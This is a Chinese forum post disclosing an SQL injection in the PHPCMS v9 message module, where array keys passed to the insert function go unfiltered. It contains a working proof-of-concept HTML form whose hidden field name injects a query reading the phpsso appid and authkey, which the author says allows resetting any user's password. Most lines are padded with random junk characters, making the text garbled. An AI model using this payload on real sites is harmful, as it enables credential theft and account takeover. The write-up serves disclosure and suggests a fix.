|
|
简要描述:: X! M0 a* C& a- V4 _
$ p# z' N' B1 k* _$ g第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。) [- J2 R+ K1 F6 ^/ r' a5 {
. g- { j F/ }/ q, h明天再更新下一个漏洞。1 i: e" ~' Y/ k( f' M7 e9 a
详细说明:8 p4 S3 T" ~# c/ \. |0 t; F0 E
在/phpcms9/phpcms/modules/message/index.php中有代码如下:, N" w; B& t0 n
* ?3 w2 S* F" _& h- y: J3 l
$messageid = $this->message_db->insert($_POST['info'],true);: I& y2 {. Z) ]0 S( C, U3 ?
( Q. p1 d6 E. I' a- f( t8 Z, x
1 T3 \. b$ [! C2 |: [# E z+ ~insert方法是key value的,代码如下:# Z, k- B' A- z
/ X, d# ^# i+ r/ v. zpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
/ p0 Z J* N4 v5 P" P% @) t$ L if(!is_array( $data ) || $table == '' || count($data) == 0) {
: b2 n+ C5 [8 o% E3 S d+ b& B& ]" ` return false;8 x; [2 q( C7 Y4 g4 J. w$ s! _6 U
}
( [! ^7 N3 ~7 l* j2 f
: ^2 i4 p' A) q* ?- | $fielddata = array_keys($data);/ J( T( `5 ]( M n# ]
$valuedata = array_values($data);
& ]; h+ m6 ]# T& N+ @" a array_walk($fielddata, array($this, 'add_special_char'));
& F$ P( h+ w2 @ array_walk($valuedata, array($this, 'escape_string'));
2 p/ D; V' U# v- m% {* x
4 S% T( }' k1 B& M- p$ V $field = implode (',', $fielddata);7 x; L; F( o& Q2 g0 Q
$value = implode (',', $valuedata);
/ x% m+ E" j0 A- z! k# f' M$ r; \, Q: Q2 p+ h/ E R
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';, t) L" Z0 ]( `$ j& k( F
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';/ {0 Y. s% @* R+ Y5 t7 K
$return = $this->execute($sql);- e9 [7 `% q/ Y; E; Y: A$ s
return $return_insert_id ? $this->insert_id() : $return;
! o: |2 s5 J$ P }
' h0 y9 A1 C6 }3 {+ W7 C" v% b! l% b# N+ D5 U( ?2 S* N% c
5 K3 l: r. `) T& ^/ o嗯,很遗憾的是
& A/ }5 J7 C4 G" J" f( r
- x; _2 H8 p0 Zarray_walk($fielddata, array($this, 'add_special_char'));2 g- j) P2 p1 P' A3 E% _6 O6 N
1 O6 w: A! R" K: f7 o, F
1 I' r9 L* O8 l2 M" I1 V/ P9 {: J中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
3 E" g2 U( J% I- _0 {0 H" P) ~) r- n8 J2 d6 M
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
. Z9 Z* j6 x9 n+ c9 |2 u3 ?2 ~" o1 \: O6 J* A
漏洞证明:$ Q {7 @6 s# \* x
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。6 K# I: O6 o$ A; k( R
. ]+ T( G- k$ X, Z( W
$ n9 s' {% D( e; f: m$ d! P表单如下:用户名什么的得自己改一改。6 `8 S: d! c1 G: ^7 b/ I) E1 m+ P8 @
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">; W0 G$ X s, l2 l/ k$ G+ C- S* C
<table width="100%" cellspacing="0" class="table_form">
: m2 }7 W9 |0 Q* u<tr>6 _' n7 D" N6 U# n' c2 q
<th>标 题:</th>
. n% Z: R" p1 x$ `$ c<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
9 j# s& P2 V; c) Z" i! v</tr>
% v4 {: x( N3 L) S<tr>5 l) L- \5 y3 d0 ~# ~6 p
<th>内 容:</th>
) ~6 {! D9 |6 A( K% K<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>6 p# s" n; B; e4 |, m/ g
</tr>
' B6 J0 m( T) {2 c; p<input type="hidden" name="info[replyid]" value="2" /> * o/ }0 ?3 w& E( ?
<input type="hidden" name="info[send_to_id]" value="cc" /> 1 @+ ~2 d+ U T3 ^! `
<input type="hidden" name="info[send_from_id]" value="hh">$ c, }9 }) x3 E S! i
<!-- 漏洞的利用重点在这里开始 -->; r& m0 z2 F3 r4 m6 y
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
' Q/ J: u6 }( G* t0 }+ z<!-- 漏洞的利用重点在这里结束 -->0 A2 C0 F! w8 N! Q2 p
<tr>
2 g m; T) ], Y. `. O7 r<th>验证码:</th>
( h: V0 w6 g( ?& D! Z4 V<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>/ J1 M, B7 i6 @+ p
</tr>
2 w* b6 h, e7 E<tr>3 D h& A, O/ c
<td></td>3 \& d% G1 s6 J" |; Q
<td colspan="2"><label> c7 z5 \& B+ d) }+ u
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>, x% H+ h9 `! a2 O% V! F0 s) e
</label></td>1 e* k% U$ w0 p1 R# `. A* S5 E5 b* @# a
</tr>
& ?. E7 N0 k1 A$ N$ r: ~</table>
' Y% I+ x4 q! I& p [ Z4 b</form>3 l! F! }4 i. R0 u* ~0 l9 j3 l5 I
在add_special_char函数内对key做过滤就可以了。5 j" k( W7 \3 U3 `
i1 O% y1 }" `7 f' c) }3 z- M) t) g. j
( _. f/ {+ E6 B5 b) n |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|